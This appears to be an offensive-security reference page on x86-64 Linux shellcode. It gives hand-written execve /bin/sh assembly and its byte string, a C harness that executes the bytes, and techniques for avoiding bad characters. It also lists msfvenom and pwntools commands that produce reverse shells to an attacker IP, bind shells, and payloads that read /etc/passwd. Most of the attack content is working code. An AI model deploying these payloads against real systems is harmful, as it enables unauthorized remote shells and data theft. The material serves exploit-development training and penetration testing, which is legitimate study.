Linux Shellcode

Overview

Linux shellcode is position-independent machine code that performs operations via Linux syscalls. The most common shellcode spawns a shell (/bin/sh) via the execve syscall, but shellcode can also bind a shell to a port, connect back to an attacker, read files, or stage additional payloads.

This file covers x86-64 Linux shellcode. The key difference from x86 (32-bit) is the syscall convention: x86-64 uses the syscall instruction and different register assignments, while x86 uses int 0x80.

ATT&CK Mapping

  • Tactic: TA0002 - Execution
  • Technique: T1059 - Command and Scripting Interpreter

Prerequisites

  • NASM assembler (for hand-crafted shellcode)
  • GCC and ld (for linking and testing)
  • objdump and objcopy (for extracting raw shellcode bytes)
  • msfvenom (for pre-built shellcode)
  • pwntools (for shellcraft templates and inline assembly)

x86-64 Linux Syscall Convention

Register Purpose
RAX Syscall number
RDI 1st argument
RSI 2nd argument
RDX 3rd argument
R10 4th argument
R8 5th argument
R9 6th argument

The syscall instruction invokes the kernel. Return value goes in RAX.

Key syscall numbers (x86-64):

Syscall Number
execve 59 (0x3b)
dup2 33 (0x21)
socket 41 (0x29)
connect 42 (0x2a)
bind 49 (0x31)
listen 50 (0x32)
accept 43 (0x2b)
read 0
write 1
open 2

Hand-Crafted execve Shellcode

Assembly Source

; execve_sh.asm — execve("/bin/sh", NULL, NULL) — x86-64
; Assemble: nasm -f elf64 execve_sh.asm -o execve_sh.o
; Link: ld -o execve_sh execve_sh.o
BITS 64
global _start

_start:
    ; Clear registers
    xor rsi, rsi            ; argv = NULL
    xor rdx, rdx            ; envp = NULL

    ; Push "/bin//sh" onto the stack
    push rsi                ; null terminator
    mov rdi, 0x68732f2f6e69622f   ; "/bin//sh" in little-endian
    push rdi
    mov rdi, rsp            ; rdi = pointer to "/bin//sh"

    ; execve syscall
    mov al, 59              ; syscall number (avoids null in full mov rax, 59)
    syscall

Assembling and Extracting Shellcode

# NASM
# https://www.nasm.us/
# Assemble to ELF64 object
nasm -f elf64 execve_sh.asm -o execve_sh.o

# Link to executable (for testing)
ld -o execve_sh execve_sh.o

# Test it
./execve_sh

# Extract raw shellcode bytes
objcopy -O binary execve_sh.o execve_sh.bin

# View shellcode as hex
xxd execve_sh.bin

# Convert to C-style byte string
objdump -d execve_sh.o | grep '^ ' | cut -f2 | tr -d ' \n' | \
  sed 's/\(..\)/\\x\1/g' | fold -w 48 | sed 's/^/"/; s/$/"/'

Shellcode Constraints

Null bytes (\x00): Many vulnerabilities involve string functions (strcpy, gets) that stop at null bytes. Avoid null bytes in shellcode:

Problematic Null-Free Alternative
mov rax, 59 xor rax, rax; mov al, 59
mov rdi, 0 xor rdi, rdi
push 0 xor rsi, rsi; push rsi

Size constraints: Some buffers are small. Minimize shellcode size by using shorter instruction encodings and avoiding unnecessary operations.

Bad characters: Beyond null bytes, the target may filter \n (0x0a), \r (0x0d), spaces (0x20), or other bytes. Identify bad characters through testing and adjust the shellcode accordingly.

msfvenom Shellcode Generation

# msfvenom
# https://github.com/rapid7/metasploit-framework

# execve /bin/sh (44 bytes)
msfvenom -p linux/x64/exec CMD=/bin/sh -f c

# Staged reverse shell
msfvenom -p linux/x64/shell/reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f c

# Stageless reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f c

# Bind shell on port 4444
msfvenom -p linux/x64/shell_bind_tcp LPORT=4444 -f c

# Avoid bad characters
msfvenom -p linux/x64/exec CMD=/bin/sh -b '\x00\x0a\x0d' -f c

# Output as raw bytes
msfvenom -p linux/x64/exec CMD=/bin/sh -f raw > shellcode.bin

# Output as Python byte string
msfvenom -p linux/x64/exec CMD=/bin/sh -f python

Key flags: - -p — payload name - -f — output format (c, python, raw, elf, hex) - -b — bad characters to avoid (triggers encoding) - -e — encoder (e.g., x86/shikata_ga_nai) - -i — encoder iterations - LHOST — attacker IP (for reverse shells) - LPORT — port number

Common output formats:

Format Flag Use Case
C array -f c Embed in C exploit code
Python -f python Embed in Python exploit
Raw -f raw Binary shellcode file
ELF -f elf Standalone executable
Hex -f hex Manual byte inspection

pwntools shellcraft

pwntools provides architecture-aware shellcode templates:

# pwntools
# https://github.com/Gallopsled/pwntools
from pwn import *

context.arch = 'amd64'

# execve("/bin/sh") shellcode
shellcode = asm(shellcraft.sh())
print(f"Size: {len(shellcode)} bytes")
print(f"Hex: {shellcode.hex()}")

# Print the assembly source
print(shellcraft.sh())

Common shellcraft Templates

# pwntools
# https://github.com/Gallopsled/pwntools
from pwn import *
context.arch = 'amd64'

# Spawn /bin/sh
asm(shellcraft.sh())

# Read a file and write to stdout
asm(shellcraft.cat('/etc/passwd'))

# Connect back to attacker
asm(shellcraft.connect('10.10.10.1', 4444) + shellcraft.dupsh())

# Bind shell on port 4444
asm(shellcraft.bindsh(4444))

# Execute a specific command
asm(shellcraft.execve('/bin/cat', ['cat', '/etc/passwd'], 0))

# Custom syscall
asm(shellcraft.syscall('SYS_write', 1, 'Hello\n', 6))

Inline Assembly in Exploits

# pwntools
# https://github.com/Gallopsled/pwntools
from pwn import *

context.arch = 'amd64'

# Custom assembly
shellcode = asm('''
    xor rsi, rsi
    push rsi
    mov rdi, 0x68732f2f6e69622f
    push rdi
    mov rdi, rsp
    xor rdx, rdx
    mov al, 59
    syscall
''')

Testing Shellcode

C Wrapper

// test_shellcode.c — compile: gcc -z execstack -o test_shellcode test_shellcode.c
#include <stdio.h>
#include <string.h>

unsigned char shellcode[] =
"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
"\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05";

int main() {
    printf("Shellcode length: %lu\n", sizeof(shellcode) - 1);
    ((void(*)())shellcode)();
    return 0;
}

pwntools Runner

# pwntools
# https://github.com/Gallopsled/pwntools
from pwn import *

context.arch = 'amd64'

shellcode = asm(shellcraft.sh())
p = run_shellcode(shellcode)
p.interactive()

Checking for Bad Characters

# Check if shellcode contains null bytes
xxd shellcode.bin | grep ' 00'

# Check for specific bad characters
python3 -c "
data = open('shellcode.bin', 'rb').read()
bad = [0x00, 0x0a, 0x0d, 0x20]
for i, b in enumerate(data):
    if b in bad:
        print(f'Bad byte 0x{b:02x} at offset {i}')
"

References

Tools

Official Documentation

MITRE ATT&CK